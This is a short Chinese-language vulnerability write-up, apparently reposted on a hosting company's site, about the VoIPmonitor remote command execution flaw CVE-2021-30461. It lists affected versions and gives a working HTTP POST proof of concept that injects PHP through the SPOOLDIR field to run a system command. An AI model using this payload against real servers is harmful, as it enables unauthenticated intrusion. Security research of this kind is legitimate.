VoIPmonitor 远程命令执行漏洞CVE-2021-30461怎么理解
VoIPmonitor 远程命令执行漏洞CVE-2021-30461怎么理解
发布时间：2021-12-29 19:06:42 来源：高防服务器网 阅读：56 作者：柒染 栏目：安全技术
本篇文章为大家展示了VoIPmonitor 远程命令执行漏洞CVE-2021-30461怎么理解，内容简明扼要并且容易理解，绝对能使你眼前一亮，通过这篇文章的详细介绍希望你能有所收获。
一、漏洞描述
VoIPmonitor Web界面用，允许未经身份验证的远程用户触发VoIPmonitor中的远程PHP代码执行漏洞。
二、影响版本
VoIPmonitor < 24.60
三、漏洞复现
访问地址页面：
POC：
POST /index.php HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 49 SPOOLDIR=test%22.system%28id%29.%22&recheck=annen
编写尝试脚本：
上述内容就是VoIPmonitor 远程命令执行漏洞CVE-2021-30461怎么理解，你们学到知识或技能了吗？
[微信提示：高防服务器能助您降低 IT 成本，提升运维效率，使您更专注于核心业务创新。
[图文来源于网络，不代表本站立场，如有侵权，请联系高防服务器网删除]
[